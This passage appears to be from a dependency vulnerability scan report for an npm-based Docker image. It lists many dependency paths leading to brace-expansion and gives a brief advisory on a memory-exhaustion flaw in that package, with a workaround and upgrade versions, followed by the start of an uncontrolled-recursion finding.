  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1

Overview

brace-expansion is a Brace expansion as known from sh/bash

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the expand(), expand_(), combine(), and expandSequence() functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent maxLength allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores maxLength and does work proportional to max * width. Exploitation requires the application to pass untrusted input to expand(), directly or transitively through a glob or pattern-matching library.

Workaround

This vulnerability can be avoided by passing an explicitly small max together with a small maxLength to expand(), bounding both the result count and length, since a small maxLength alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.

Note: This is a bypass of the fix for the vulnerability described in CVE-2026-14257.

Remediation

Upgrade brace-expansion to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.

References

More about this vulnerability

Uncontrolled Recursion

high severity
Exploit: Not Defined
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: brace-expansion
  • Introduced through: rag-builder@1.0.0, glob@8.1.0 and others

Detailed paths

  • Introduced through: rag-builder@1.0.0 › glob@8.1.0 › minimatch@5.1.6 › brace-expansion@2.0.2
  • Introduced through: lib@* › npm@10.8.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/config@8.3.4 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/config@8.3.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/config@8.3.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › init-package-json@6.0.3 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
